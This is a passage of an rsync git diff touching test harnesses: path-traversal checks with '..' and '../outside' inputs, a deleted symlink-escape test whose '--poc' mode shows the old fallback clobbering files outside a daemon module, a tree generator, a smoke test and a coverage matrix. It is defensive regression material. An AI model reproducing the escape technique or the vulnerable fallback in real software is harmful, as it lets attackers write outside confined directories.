resolved\\n\");\n-\t\terrs++;\n-\t} else\n-\t\tfprintf(stderr, \"OK   [beneath safe]: in-anchor '..' resolved\\n\");\n-\tif (fd >= 0)\n-\t\tclose(fd);\n-\n-\t/* A bare final \"..\" must be refused whatever flags the caller passes.  The\n-\t * leaf fast paths in secure_walk_at() openat() the final component\n-\t * directly, so before they learned to defer a literal \"..\" to ds_descend()\n-\t * an O_NOFOLLOW caller got back the anchor's own parent, and a caller\n-\t * without O_DIRECTORY opened it transiently.  Only the O_DIRECTORY form\n-\t * was ever refused. */\n-\t{\n-\t\tstatic const struct { const char *label; int flags; } dotdot_cases[] = {\n-\t\t\t{ \"O_DIRECTORY\",            O_RDONLY | O_DIRECTORY },\n-\t\t\t{ \"O_DIRECTORY|O_NOFOLLOW\", O_RDONLY | O_DIRECTORY | O_NOFOLLOW },\n-\t\t\t{ \"no O_DIRECTORY\",         O_RDONLY },\n-\t\t};\n-\t\tunsigned ci;\n-\t\tfor (ci = 0; ci < sizeof dotdot_cases / sizeof *dotdot_cases; ci++) {\n-\t\t\tint dfd;\n-\t\t\terrno = 0;\n-\t\t\tdfd = secure_relative_open_at_beneath(anchor, \"..\",\n-\t\t\t\t\t\t\t      dotdot_cases[ci].flags, 0);\n-\t\t\tif (dfd >= 0) {\n-\t\t\t\tSTRUCT_STAT dst;\n-\t\t\t\tint above = fstat(dfd, &dst) == 0 && dst.st_ino != ast.st_ino;\n-\t\t\t\tfprintf(stderr, \"FAIL [beneath bare-dotdot %s]: rc=%d%s\\n\",\n-\t\t\t\t\tdotdot_cases[ci].label, dfd,\n-\t\t\t\t\tabove ? \" -- resolved ABOVE the anchor\" : \"\");\n-\t\t\t\terrs++;\n-\t\t\t\tclose(dfd);\n-\t\t\t} else if (errno != ELOOP) {\n-\t\t\t\tfprintf(stderr, \"FAIL [beneath bare-dotdot %s]: errno=%d, expected ELOOP\\n\",\n-\t\t\t\t\tdotdot_cases[ci].label, errno);\n-\t\t\t\terrs++;\n-\t\t\t} else\n-\t\t\t\tfprintf(stderr, \"OK   [beneath bare-dotdot %s]: refused with ELOOP\\n\",\n-\t\t\t\t\tdotdot_cases[ci].label);\n-\t\t}\n-\t}\n-\n-\terrno = 0;\n-\tfd = secure_relative_open_at_beneath(anchor, \"../outside\",\n-\t\t\t\t\t     O_RDONLY | O_DIRECTORY, 0);\n-\tif (fd >= 0 || errno != ELOOP) {\n-\t\tfprintf(stderr, \"FAIL [beneath escape]: rc=%d errno=%d, expected -1/ELOOP\\n\",\n-\t\t\tfd, errno);\n-\t\tif (fd >= 0)\n-\t\t\tclose(fd);\n-\t\terrs++;\n-\t} else\n-\t\tfprintf(stderr, \"OK   [beneath escape]: climb above anchor refused\\n\");\n-\n-\tclose(anchor);\n-}\n-\n-int main(int argc, char **argv)\n-{\n-\tif (argc != 2) {\n-\t\tfprintf(stderr, \"usage: %s <test-dir>\\n\", argv[0]);\n-\t\treturn 2;\n-\t}\n-\tif (chdir(argv[1]) < 0) {\n-\t\tperror(\"chdir\");\n-\t\treturn 2;\n-\t}\n-\n-\t/* secure_relative_open's daemon-only confinement protections only\n-\t * fire when am_daemon && !am_chrooted (the threat model is the\n-\t * daemon-no-chroot deployment), but the front-door input\n-\t * validation runs unconditionally. We set am_daemon anyway so the\n-\t * helper exercises the same code shape the receiver does. */\n-\tam_daemon = 1;\n-\tam_chrooted = 0;\n-\n-\tcheck_unc_root(\"//server/share\", strlen(\"//server/share\"));\n-\tcheck_unc_root(\"//server/share/path\", strlen(\"//server/share\"));\n-\tcheck_unc_root(\"//server/share//path\", strlen(\"//server/share\"));\n-\tcheck_unc_root(\"/server/share\", 0);\n-\tcheck_unc_root(\"///server/share\", 0);\n-\tcheck_unc_root(\"//server\", 0);\n-\tcheck_unc_root(\"//server/\", 0);\n-\tcheck_unc_root(\"//server//path\", 0);\n-\tcheck_unc_root(NULL, 0);\n-\n-\tmkdir(\"subdir\", 0755);\n-\tsymlink(\"subdir\", \"alias\");\n-\n-\t/* Each of these relpaths must be rejected with EINVAL at the\n-\t * secure_relative_open() front door. \"..\" is the actual one-level\n-\t * escape; the others (\"subdir/..\", \"subdir/../subdir\") resolve\n-\t * back to the start dir on systems that allow them, but we still\n-\t * reject them as defence-in-depth: a path containing a \"..\" token\n-\t * is suspicious and the caller should normalise before passing\n-\t * it in. The \"../foo\" / \"foo/../bar\" / \"/foo\" / \"/\" cases are\n-\t * regression checks for the existing checks. */\n-\tcheck_relpath(\"..\");\n-\tcheck_relpath(\"../foo\");\n-\tcheck_relpath(\"subdir/..\");\n-\tcheck_relpath(\"subdir/../subdir\");\n-\tcheck_relpath(\"foo/../bar\");\n-\tcheck_relpath(\"/foo\");\n-\tcheck_relpath(\"/\");\n-\n-\t/* Same checks against basedir (which the codex Finding 2 fix\n-\t * routes through the same RESOLVE_BENEATH-equivalent). Absolute\n-\t * basedirs are operator-trusted and intentionally not validated\n-\t * here. */\n-\tcheck_basedir(\"..\");\n-\tcheck_basedir(\"../subdir\");\n-\tcheck_basedir(\"subdir/..\");\n-\tcheck_basedir(\"foo/../bar\");\n-\n-\t/* A followed symlink target is the one caller that legitimately carries\n-\t * literal '..'.  Its dedicated fd-anchored entry point must preserve an\n-\t * in-tree climb while refusing to pop above the anchor. */\n-\tcheck_beneath_dotdot();\n-\tif (errs)\n-\t\tfprintf(stderr, \"\\n%d failure(s)\\n\", errs);\n-\treturn errs ? 1 : 0;\n-}\ndiff --git a/t_stub.c b/t_stub.c\nindex c5a39bf..eee9272 100644\n--- a/t_stub.c\n+++ b/t_stub.c\n@@ -23,13 +23,8 @@\n \n int do_fsync = 0;\n int inplace = 0;\n-int am_daemon = 0;\n-int am_chrooted = 0;\n-int insecure_links = 0;\n-int copy_dirlinks = 0;\n int modify_window = 0;\n int preallocate_files = 0;\n-int sparse_files = 0;\n int protect_args = 0;\n int module_id = -1;\n int relative_paths = 0;\n@@ -39,20 +34,9 @@ int preserve_perms = 0;\n int preserve_executability = 0;\n int omit_link_times = 0;\n int open_noatime = 0;\n-size_t max_alloc = (size_t)-1; /* test helpers are not memory-constrained;\n-\t\t\t\t* 0 here makes every my_alloc()/my_strdup() in\n-\t\t\t\t* util2.c trip the \"exceeded --max-alloc=0\"\n-\t\t\t\t* check, which any helper exercising the\n-\t\t\t\t* per-component fallback of secure_relative_open()\n-\t\t\t\t* hits at its first my_strdup() call. */\n+size_t max_alloc = 0; /* max_alloc is needed when combined with util2.o */\n char *partial_dir;\n-char *files_from;\n char *module_dir;\n-int module_dirfd = -1;\n-char *confine_root;\n-unsigned int confine_rootlen = 0;\n-/* curr_dir[]/curr_dir_len (read by secure_relative_open) are defined in\n- * syscall.c, which every helper links -- no stub needed here. */\n filter_rule_list daemon_filter_list;\n \n  void rprintf(UNUSED(enum logcode code), const char *format, ...)\n@@ -88,7 +72,7 @@ filter_rule_list daemon_filter_list;\n \treturn 0;\n }\n \n- int copy_xattrs(UNUSED(const char *source), UNUSED(int source_fd), UNUSED(const char *dest), UNUSED(int dest_fd))\n+ int copy_xattrs(UNUSED(const char *source), UNUSED(const char *dest))\n {\n \treturn -1;\n }\n@@ -113,11 +97,6 @@ filter_rule_list daemon_filter_list;\n \treturn 0;\n }\n \n- BOOL lp_insecure_links(UNUSED(int mod))\n-{\n-\treturn 0;\n-}\n-\n  const char *who_am_i(void)\n {\n \treturn \"tester\";\ndiff --git a/t_symlink_secure.c b/t_symlink_secure.c\ndeleted file mode 100644\nindex 64eae88..0000000\n--- a/t_symlink_secure.c\n+++ /dev/null\n@@ -1,160 +0,0 @@\n-/*\n- * Test harness for the fake-super branches of do_symlink_at()/do_mknod_at().\n- * Fake-super stores a symlink/device as a placeholder file, so the create\n- * resolves the final component; the no-slash branch used to fall back to\n- * do_symlink()/do_mknod(), whose plain open() followed a planted basename\n- * symlink and escaped the module. Checks the fixed wrappers refuse it;\n- * --poc shows the old fallback escaping. Not linked into rsync. GPL version 2.\n- */\n-\n-#include \"rsync.h\"\n-\n-#include <sys/stat.h>\n-\n-/* The symlink placeholder (and thus this escape) exists only where symlink\n- * xattrs are unavailable -- the same guard do_symlink() uses. Elsewhere\n- * symlink() fails EEXIST on a planted link, so only the device path applies. */\n-#if defined SUPPORT_LINKS && (defined NO_SYMLINK_XATTRS || defined NO_SYMLINK_USER_XATTRS)\n-#define TEST_SYMLINK_PLACEHOLDER 1\n-#endif\n-\n-int dry_run = 0;\n-int am_root = -1;\t/* --fake-super */\n-int am_sender = 0;\n-int read_only = 0;\n-int list_only = 0;\n-int copy_links = 0;\n-int copy_unsafe_links = 0;\n-extern int am_daemon, am_chrooted;\n-\n-short info_levels[COUNT_INFO], debug_levels[COUNT_DEBUG];\n-\n-static int errs = 0;\n-\n-static void check_preserved(const char *label, const char *victim, const char *want)\n-{\n-\tchar buf[256];\n-\tint fd = open(victim, O_RDONLY);\n-\tssize_t n = fd >= 0 ? read(fd, buf, sizeof buf - 1) : -1;\n-\n-\tif (fd >= 0)\n-\t\tclose(fd);\n-\tif (n < 0)\n-\t\tn = 0;\n-\tbuf[n] = '\\0';\n-\tif (n > 0 && buf[n-1] == '\\n')\n-\t\tbuf[n-1] = '\\0';\n-\n-\tif (strcmp(buf, want) != 0) {\n-\t\tfprintf(stderr, \"FAIL [%s]: victim %s = \\\"%s\\\", expected \\\"%s\\\" \"\n-\t\t\t\"(basename symlink was followed -> module escape)\\n\",\n-\t\t\tlabel, victim, buf, want);\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\tfprintf(stderr, \"OK   [%s]: victim %s preserved\\n\", label, victim);\n-}\n-\n-static void check_clobbered(const char *label, const char *victim, const char *unwanted)\n-{\n-\tchar buf[256];\n-\tint fd = open(victim, O_RDONLY);\n-\tssize_t n = fd >= 0 ? read(fd, buf, sizeof buf - 1) : -1;\n-\n-\tif (fd >= 0)\n-\t\tclose(fd);\n-\tif (n < 0)\n-\t\tn = 0;\n-\tbuf[n] = '\\0';\n-\tif (n > 0 && buf[n-1] == '\\n')\n-\t\tbuf[n-1] = '\\0';\n-\n-\tif (strcmp(buf, unwanted) != 0) {\n-\t\tfprintf(stderr, \"FAIL [%s]: victim %s = \\\"%s\\\", expected the escape to write \\\"%s\\\"\\n\",\n-\t\t\tlabel, victim, buf, unwanted);\n-\t\terrs++;\n-\t\treturn;\n-\t}\n-\tfprintf(stderr, \"OK   [%s]: victim %s clobbered as expected (escape demonstrated)\\n\",\n-\t\tlabel, victim);\n-}\n-\n-int main(int argc, char **argv)\n-{\n-#ifndef AT_FDCWD\n-\tfprintf(stderr, \"SKIP: AT_FDCWD not available\\n\");\n-\treturn 77;\n-#else\n-\tint poc = 0;\n-\tconst char *moddir;\n-\n-# if !defined(HAVE_MKNODAT) && !defined(TEST_SYMLINK_PLACEHOLDER)\n-\t/* Nothing left to assert: the do_mknod_at() checks need mknodat(), and\n-\t * the do_symlink_at() ones are not compiled here.  Skip rather than\n-\t * pass vacuously. */\n-\t(void)argc; (void)argv;\n-\tfprintf(stderr, \"SKIP: no mknodat() and no symlink placeholders -- \"\n-\t\t\"nothing this helper asserts applies to this build\\n\");\n-\treturn 77;\n-# endif\n-\n-\tif (argc == 3 && strcmp(argv[1], \"--poc\") == 0) {\n-\t\tpoc = 1;\n-\t\tmoddir = argv[2];\n-\t} else if (argc == 2) {\n-\t\tmoddir = argv[1];\n-\t} else {\n-\t\tfprintf(stderr, \"usage: %s [--poc] <module-dir>\\n\", argv[0]);\n-\t\treturn 2;\n-\t}\n-\n-\tif (chdir(moddir) < 0) {\n-\t\tperror(\"chdir\");\n-\t\treturn 2;\n-\t}\n-\n-\tam_daemon = 1;\n-\tam_chrooted = 0;\n-\tam_root = -1;\t/* fake-super: symlinks/devices stored as files */\n-\n-\tif (poc) {\n-\t\t/* Pre-fix fallback: a no-slash path went to do_symlink()/do_mknod(),\n-\t\t * which open() the basename without O_NOFOLLOW. */\n-#ifdef TEST_SYMLINK_PLACEHOLDER\n-\t\tdo_symlink(\"VULN_SYM_PAYLOAD\", \"sympath\");\n-\t\tcheck_clobbered(\"poc do_symlink bare\", \"../outside/secret_sym\",\n-\t\t\t\t\"VULN_SYM_PAYLOAD\");\n-#endif\n-\t\tdo_mknod(\"nodpath\", S_IFCHR | 0600, 0);\n-\t\tcheck_clobbered(\"poc do_mknod bare\", \"../outside/secret_nod\", \"\");\n-\t\treturn errs ? 1 : 0;\n-\t}\n-\n-\t/* Fixed wrappers: a bare-path basename symlink must not be followed;\n-\t * the victim outside the module stays untouched. */\n-#ifdef TEST_SYMLINK_PLACEHOLDER\n-\tdo_symlink_at(\"FIXED_SYM_PAYLOAD\", \"sympath\");\n-\tcheck_preserved(\"do_symlink_at bare\", \"../outside/secret_sym\", \"VICTIM_SYM\");\n-\n-\t/* Slashed path for parity (already protected before the fix). */\n-\tdo_symlink_at(\"FIXED_SYM_PAYLOAD\", \"sub/sympath2\");\n-\tcheck_preserved(\"do_symlink_at slashed\", \"../outside/secret_sym2\", \"VICTIM_SYM2\");\n-#endif\n-\n-# ifdef HAVE_MKNODAT\n-\t/* Without mknodat() do_mknod_at() IS do_mknod(): the confinement is\n-\t * compiled out by design (SECURITY.md), so these would assert a\n-\t * property the build deliberately does not have.  The do_symlink_at()\n-\t * checks above do not depend on it and still run. */\n-\tdo_mknod_at(\"nodpath\", S_IFCHR | 0600, 0);\n-\tcheck_preserved(\"do_mknod_at bare\", \"../outside/secret_nod\", \"VICTIM_NOD\");\n-\n-\tdo_mknod_at(\"sub/nodpath2\", S_IFCHR | 0600, 0);\n-\tcheck_preserved(\"do_mknod_at slashed\", \"../outside/secret_nod2\", \"VICTIM_NOD2\");\n-# endif\n-\n-\tif (errs)\n-\t\tfprintf(stderr, \"%d failure(s)\\n\", errs);\n-\treturn errs ? 1 : 0;\n-#endif\n-}\ndiff --git a/testhelp/maketree.py b/testhelp/maketree.py\nnew file mode 100644\nindex 0000000..19ae71d\n--- /dev/null\n+++ b/testhelp/maketree.py\n@@ -0,0 +1,133 @@\n+#!/usr/bin/env python2\n+\n+# Copyright (C) 2002 by Martin Pool <mbp@samba.org>\n+\n+# This program is free software; you can redistribute it and/or modify\n+# it under the terms of the GNU General Public License version\n+# 2 as published by the Free Software Foundation.\n+#\n+# This program is distributed in the hope that it will be useful, but\n+# WITHOUT ANY WARRANTY; without even the implied warranty of\n+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n+# Lesser General Public License for more details.\n+# \n+# You should have received a copy of the GNU Lesser General Public\n+# License along with this program; if not, write to the Free Software\n+# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n+\n+# Populate a tree with pseudo-randomly distributed files to test\n+# rsync.\n+\n+from __future__ import generators\n+import random, string, os, os.path\n+\n+nfiles = 10000\n+depth = 5\n+n_children = 20\n+n_files = 20\n+n_symlinks = 10\n+\n+name_chars = string.digits + string.letters\n+\n+abuffer = 'a' * 1024\n+\n+def random_name_chars():\n+    a = \"\"\n+    for i in range(10):\n+        a = a + random.choice(name_chars)\n+    return a\n+\n+    \n+def generate_names():\n+    n = 0\n+    while 1:\n+        yield \"%05d_%s\" % (n, random_name_chars())\n+        n += 1\n+\n+\n+class TreeBuilder:\n+    def __init__(self):\n+        self.n_children = 20\n+        self.n_files = 100\n+        self.total_entries = 100000 # long(1e8)\n+        self.actual_size = 0\n+        self.name_gen = generate_names()\n+        self.all_files = []\n+        self.all_dirs = []\n+        self.all_symlinks = []\n+\n+\n+    def random_size(self):\n+        return random.lognormvariate(4, 4)\n+\n+\n+    def random_symlink_target(self):\n+        what = random.choice(['directory', 'file', 'symlink', 'none'])\n+        try:\n+            if what == 'directory':\n+                return random.choice(self.all_dirs)\n+            elif what == 'file':\n+                return random.choice(self.all_files)\n+            elif what == 'symlink':\n+                return random.choice(self.all_symlinks)\n+            elif what == 'none':\n+                return self.name_gen.next()\n+        except IndexError:\n+            return self.name_gen.next()\n+\n+\n+    def can_continue(self):\n+        self.total_entries -= 1\n+        return self.total_entries > 0\n+\n+        \n+    def build_tree(self, prefix, depth):\n+        \"\"\"Generate a breadth-first tree\"\"\"\n+        for count, function in [[n_files, self.make_file],\n+                                [n_children, self.make_child_recurse],\n+                                [n_symlinks, self.make_symlink]]:\n+            for i in range(count):\n+                if not self.can_continue():\n+                    return\n+                name = os.path.join(prefix, self.name_gen.next())\n+                function(name, depth)\n+\n+\n+    def print_summary(self):\n+        print \"total bytes: %d\" % self.actual_size\n+\n+\n+    def make_child_recurse(self, dname, depth):\n+        if depth > 1:\n+            self.make_dir(dname)\n+            self.build_tree(dname, depth-1)\n+\n+\n+    def make_dir(self, dname, depth='ignore'):\n+        print \"%s/\" % (dname)\n+        os.mkdir(dname)\n+        self.all_dirs.append(dname)\n+\n+\n+    def make_symlink(self, lname, depth='ignore'):\n+        print \"%s -> %s\" % (lname, self.random_symlink_target())\n+\n+\n+    def make_file(self, fname, depth='ignore'):\n+        size = long(self.random_size())\n+        print \"%-70s %d\" % (fname, size)\n+        f = open(fname, 'w')\n+        f.truncate(size)\n+        self.fill_file(f, size)\n+        self.all_files.append(fname)\n+        self.actual_size += size\n+\n+    def fill_file(self, f, size):\n+        while size > 0:\n+            f.write(abuffer[:size])\n+            size -= len(abuffer)\n+\n+    \n+tb = TreeBuilder()\n+tb.build_tree('/tmp/foo', 3)\n+tb.print_summary()\ndiff --git a/testsuite/00-hello.test b/testsuite/00-hello.test\nnew file mode 100644\nindex 0000000..ebd0683\n--- /dev/null\n+++ b/testsuite/00-hello.test\n@@ -0,0 +1,61 @@\n+#!/bin/sh\n+\n+# Test some foundational things.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+RSYNC_RSH=\"$scratchdir/src/support/lsh.sh\"\n+export RSYNC_RSH\n+\n+echo $0 running\n+\n+$RSYNC --version || test_fail '--version output failed'\n+\n+$RSYNC --info=help || test_fail '--info=help output failed'\n+\n+$RSYNC --debug=help || test_fail '--debug=help output failed'\n+\n+weird_name=\"A weird)name\"\n+\n+mkdir \"$fromdir\"\n+mkdir \"$fromdir/$weird_name\"\n+\n+append_line() {\n+    echo \"$1\"\n+    echo \"$1\" >>\"$fromdir/$weird_name/file\"\n+}\n+\n+append_line test1\n+checkit \"$RSYNC -ai '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\"\n+\n+copy_weird() {\n+    checkit \"$RSYNC $1 --rsync-path='$RSYNC' '$2$fromdir/$weird_name/' '$3$todir/$weird_name'\" \"$fromdir\" \"$todir\"\n+}\n+\n+append_line test2\n+copy_weird '-ai' 'lh:' ''\n+\n+append_line test3\n+copy_weird '-ai' '' 'lh:'\n+\n+append_line test4\n+copy_weird '-ais' 'lh:' ''\n+\n+append_line test5\n+copy_weird '-ais' '' 'lh:'\n+\n+echo test6\n+\n+touch \"$fromdir/one\" \"$fromdir/two\"\n+(cd \"$fromdir\" && $RSYNC -ai --old-args --rsync-path=\"$RSYNC\" lh:'one two' \"$todir/\")\n+if [ ! -f \"$todir/one\" ] || [ ! -f \"$todir/two\" ]; then\n+    test_fail \"old-args copy of 'one two' failed\"\n+fi\n+\n+echo test7\n+\n+rm \"$todir/one\" \"$todir/two\"\n+(cd \"$fromdir\" && RSYNC_OLD_ARGS=1 $RSYNC -ai --rsync-path=\"$RSYNC\" lh:'one two' \"$todir/\")\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/00-hello_test.py b/testsuite/00-hello_test.py\ndeleted file mode 100644\nindex cdc1537..0000000\n--- a/testsuite/00-hello_test.py\n+++ /dev/null\n@@ -1,104 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/00-hello.test.\n-#\n-# Foundational smoke test: --version / --info=help / --debug=help all\n-# work, plus a round-trip transfer of a directory whose name contains\n-# shell-special characters via the lsh.sh remote-shell stand-in.\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, RSYNC, RSYNC_PEER, SRCDIR, TODIR,\n-    checkit, run_rsync, test_fail, rsync_path_arg, rsh_cmd,\n-)\n-\n-\n-# Set RSYNC_RSH so rsync picks up lsh.sh for the \"lh:\" hosts below.\n-os.environ['RSYNC_RSH'] = rsh_cmd()\n-\n-# Basic help dumps must not crash.\n-if run_rsync('--version', check=False).returncode != 0:\n-    test_fail('--version output failed')\n-if run_rsync('--info=help', check=False).returncode != 0:\n-    test_fail('--info=help output failed')\n-if run_rsync('--debug=help', check=False).returncode != 0:\n-    test_fail('--debug=help output failed')\n-\n-weird_name = \"A weird)name\"\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-weird_dir = FROMDIR / weird_name\n-weird_dir.mkdir()\n-\n-\n-def append_line(line: str) -> None:\n-    print(line)\n-    with open(weird_dir / 'file', 'a') as f:\n-        f.write(line + '\\n')\n-\n-\n-def copy_weird(args: list, src_host: str, dst_host: str) -> None:\n-    checkit(\n-        [*args, f'--rsync-path={rsync_path_arg()}',\n-         f'{src_host}{weird_dir}/',\n-         f'{dst_host}{TODIR / weird_name}'],\n-        FROMDIR, TODIR,\n-    )\n-\n-\n-append_line('test1')\n-checkit(['-ai', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\n-\n-append_line('test2')\n-copy_weird(['-ai'], 'lh:', '')\n-\n-append_line('test3')\n-copy_weird(['-ai'], '', 'lh:')\n-\n-append_line('test4')\n-copy_weird(['-ais'], 'lh:', '')\n-\n-append_line('test5')\n-copy_weird(['-ais'], '', 'lh:')\n-\n-# test6: --old-args lets two whitespace-separated names go through as a\n-# single \"one two\" remote argument to be re-split by the remote shell.\n-print('test6')\n-(FROMDIR / 'one').touch()\n-(FROMDIR / 'two').touch()\n-\n-saved = os.getcwd()\n-os.chdir(FROMDIR)\n-try:\n-    run_rsync('-ai', '--old-args', f'--rsync-path={rsync_path_arg()}',\n-              'lh:one two', f'{TODIR}/')\n-finally:\n-    os.chdir(saved)\n-\n-if not (TODIR / 'one').is_file() or not (TODIR / 'two').is_file():\n-    test_fail(\"old-args copy of 'one two' failed\")\n-\n-# test7: the RSYNC_OLD_ARGS=1 env var should be equivalent to --old-args.\n-print('test7')\n-(TODIR / 'one').unlink()\n-(TODIR / 'two').unlink()\n-\n-env = os.environ.copy()\n-env['RSYNC_OLD_ARGS'] = '1'\n-import subprocess\n-from rsyncfns import rsync_argv\n-\n-os.chdir(FROMDIR)\n-try:\n-    subprocess.run(\n-        rsync_argv('-ai', f'--rsync-path={rsync_path_arg()}',\n-                   'lh:one two', f'{TODIR}/'),\n-        env=env, check=True,\n-    )\n-finally:\n-    os.chdir(saved)\n-\n-# check=True only proves a zero exit; confirm the env-var path actually copied\n-# both files (as the explicit --old-args case above does).\n-if not (TODIR / 'one').is_file() or not (TODIR / 'two').is_file():\n-    test_fail(\"RSYNC_OLD_ARGS=1 copy of 'one two' failed\")\ndiff --git a/testsuite/COVERAGE.md b/testsuite/COVERAGE.md\ndeleted file mode 100644\nindex 6f09d45..0000000\n--- a/testsuite/COVERAGE.md\n+++ /dev/null\n@@ -1,205 +0,0 @@\n-# rsync option / daemon-parameter test coverage matrix\n-\n-Living checklist for the test-coverage effort that precedes the path-handling\n-restructure of rsync's path resolution. The restructure rewrites parent-directory\n-resolution for essentially every option, so the goal here is a regression net\n-that exercises each option **at directory depth** (≥3 levels) and, where the\n-option spans trees, **across directory boundaries**, asserting the *specific\n-property* the option controls — not just `dest == src`.\n-\n-How to read the columns:\n-\n-* **test(s)** — the `testsuite/*_test.py` that exercise the option. Tests added\n-  by this effort are marked `*new*`.\n-* **depth** — Y = asserted on entries ≥3 levels deep; `~` = exercised only at/near\n-  the tree root; `n/a` = not a path-resolution option.\n-* **x-dir** — Y = exercised with the relevant aux tree (temp/backup/dest/partial)\n-  **outside** the main tree; `—` = not a cross-directory option.\n-* **gap** — what is still missing.\n-\n-Status legend: ✓ property asserted · `~` shallow / by an existing ported test ·\n-✗ no coverage.\n-\n----\n-\n-## Command-line options\n-\n-### Recursion / structure\n-| option | test(s) | depth | x-dir | notes / gap |\n-|---|---|---|---|---|\n-| -a, --archive | (all) | Y | — | ✓ ubiquitous |\n-| -r, --recursive | hands, delete-deep*new* | Y | — | ✓ |\n-| -R, --relative | relative, relative-implied*new* | Y | — | ✓ implied-dir attrs at depth |\n-| --no-implied-dirs | relative-implied*new* | Y | — | ✓ (proto 30+; proto 29 rejects multi-component path) |\n-| --inc-recursive / --no-inc-recursive | hardlinks | Y | — | `~` exercised, not isolated |\n-| -d, --dirs | dirs*new* | Y | — | ✓ no-recurse top layer |\n-| --old-dirs / --old-d | — | — | — | ✗ |\n-| -m, --prune-empty-dirs | prune-empty-dirs*new* | Y | — | ✓ incl. filter-emptied chains |\n-\n-### Links\n-| option | test(s) | depth | x-dir | notes / gap |\n-|---|---|---|---|---|\n-| -l, --links | links*new*, symlink-ignore | Y | — | ✓ |\n-| -L, --copy-links | links*new* | Y | — | ✓ deref file+dir |\n-| -k, --copy-dirlinks | links*new* | Y | — | ✓ follow dir-symlink |\n-| -K, --keep-dirlinks | symlink-dirlink-basis | Y | — | ✓ #715; skips on no-RESOLVE_BENEATH / --disable-openat2 |\n-| -H, --hard-links | hardlinks, hardlinks-deep*new* | Y | Y | ✓ cross-directory hardlink |\n-| --copy-unsafe-links | unsafe-links | `~` | — | `~` |\n-| --safe-links | safe-links | `~` | — | `~` |\n-| --munge-links | (daemon-munge*new* covers the daemon param) | — | — | `~` client option not isolated; local mode is a near no-op |\n-\n-### Metadata / permissions / ownership\n-| option | test(s) | depth | x-dir | notes / gap |\n-|---|---|---|---|---|\n-| -p, --perms | metadata-depth*new* | Y | — | ✓ exact modes per entry |\n-| -E, --executability | executability | `~` | — | `~` |\n-| --chmod | metadata-depth*new*, chmod-option | Y | — | ✓ |\n-| -A, --acls | acls, acls-depth*new* | Y | — | ✓ |\n-| -X, --xattrs | xattrs, xattrs-depth*new* | Y | — | ✓ |\n-| -t, --times | metadata-depth*new* | Y | — | ✓ |\n-| -U, --atimes | atimes | `~` | — | `~` (same set path as -t, covered deep) |\n-| --open-noatime | open-noatime | `~` | — | `~` |\n-| -N, --crtimes | crtimes | `~` | — | `~` (skips without crtimes support) |\n-| -O, --omit-dir-times | omit-times*new* | Y | — | ✓ |\n-| -J, --omit-link-times | omit-times*new* | Y | — | ✓ |\n-| -o, --owner | chown, ownership-depth*new* | Y | — | ✓ uid map root-gated |\n-| -g, --group | chgrp, ownership-depth*new* | Y | — | ✓ group remap non-root |\n-| --super / --fake-super | chown, chown-fake | `~` | — | `~` |\n-| --numeric-ids | — | — | — | ✗ client; daemon `numeric ids` also ✗ |\n-| --usermap / --groupmap | ownership-depth*new* | Y | — | ✓ groupmap non-root; usermap root-gated |\n-| --chown | ownership-depth*new* | Y | — | ✓ group half |\n-| -D / --devices / --specials | devices, devices-fake | `~` | — | `~` root/device-gated |\n-| --copy-devices / --write-devices | — | — | — | ✗ device-gated |\n-| -S, --sparse | sparse*new* | Y | — | ✓ hole preserved at depth |\n-\n-### Delta / temp / backup / dest (highest restructure risk)\n-| option | test(s) | depth | x-dir | notes / gap |\n-|---|---|---|---|---|\n-| -T, --temp-dir | temp-dir*new*, chmod-temp-dir | Y | Y | ✓ cross-dir rename |\n-| --partial | partial*new* | Y | — | ✓ partial kept in dest file |\n-| --partial-dir | partial*new*, symlink-dirlink-basis | Y | Y | ✓ relative (in-tree) + absolute (outside), incl. delta resume from an absolute outside-tree partial |\n-| --delay-updates | delay-updates, delay-updates-deep*new* | Y | — | ✓ per-dir staging |\n-| --inplace | inplace*new*, alt-dest | Y | — | ✓ inode preserved |\n-| --append / --append-verify | append*new* | Y | — | ✓ verify split is proto 30+ |\n-| -b, --backup / --backup-dir / --suffix | backup, backup-deep*new* | Y | Y | ✓ |\n-| --compare-dest / --copy-dest / --link-dest | alt-dest, alt-dest-deep*new* | Y | Y | ✓ link=hardlink, copy=copy, compare=skip |\n-| -y, --fuzzy | fuzzy | `~` | — | `~` |\n-| -u, --update | update*new* | Y | — | ✓ keeps newer dest, updates older |\n-| -W, --whole-file | (used widely; --no-whole-file ubiquitous) | n/a | — | `~` |\n-| --mkpath | mkpath | `~` | — | `~` |\n-| -x, --one-file-system | — | — | — | ✗ (needs a mount boundary) |\n-| --preallocate / --fsync | — | — | — | ✗ |\n-| -B, --block-size | — | — | — | ✗ |\n-| --max-alloc | max-alloc-zero | — | — | ✓ zero resolves to each peer's supported ceiling; values above the limit are rejected |\n-\n-### Filtering\n-| option | test(s) | depth | x-dir | notes / gap |\n-|---|---|---|---|---|\n-| -f, --filter / -F | filter-depth*new*, merge | Y | — | ✓ deep per-dir merge |\n-| --exclude / --include | filter-depth*new*, exclude, exclude-lsh | Y | — | ✓ |\n-| --exclude-from / --include-from | files-from-depth*new* | Y | — | ✓ |\n-| -C, --cvs-exclude | cvs-exclude*new* | Y | — | ✓ incl. deep .cvsignore |\n-| --files-from | files-from-depth*new* | Y | — | ✓ |\n-| -0, --from0 | files-from-depth*new* | Y | — | ✓ |\n-| --max-size / --min-size | size-filter*new* | Y | — | ✓ |\n-| --existing / --ignore-existing | delete-deep*new* | Y | — | ✓ |\n-| --ignore-missing-args / --delete-missing-args | — | — | — | ✗ |\n-\n-### Deletion\n-| option | test(s) | depth | x-dir | notes / gap |\n-|---|---|---|---|---|\n-| --delete / --del | delete, delete-deep*new* | Y | — | ✓ deep subtree |\n-| --delete-before/during/delay/after | delete-deep*new* | Y | — | ✓ all four agree |\n-| --delete-excluded | delete | `~` | — | `~` |\n-| --max-delete | delete-deep*new* | Y | — | ✓ caps deletions |\n-| --remove-source-files | delete | `~` | — | `~` |\n-| --force | update*new* | Y | — | ✓ replaces a non-empty dir with a file |\n-| --ignore-errors | — | — | — | ✗ 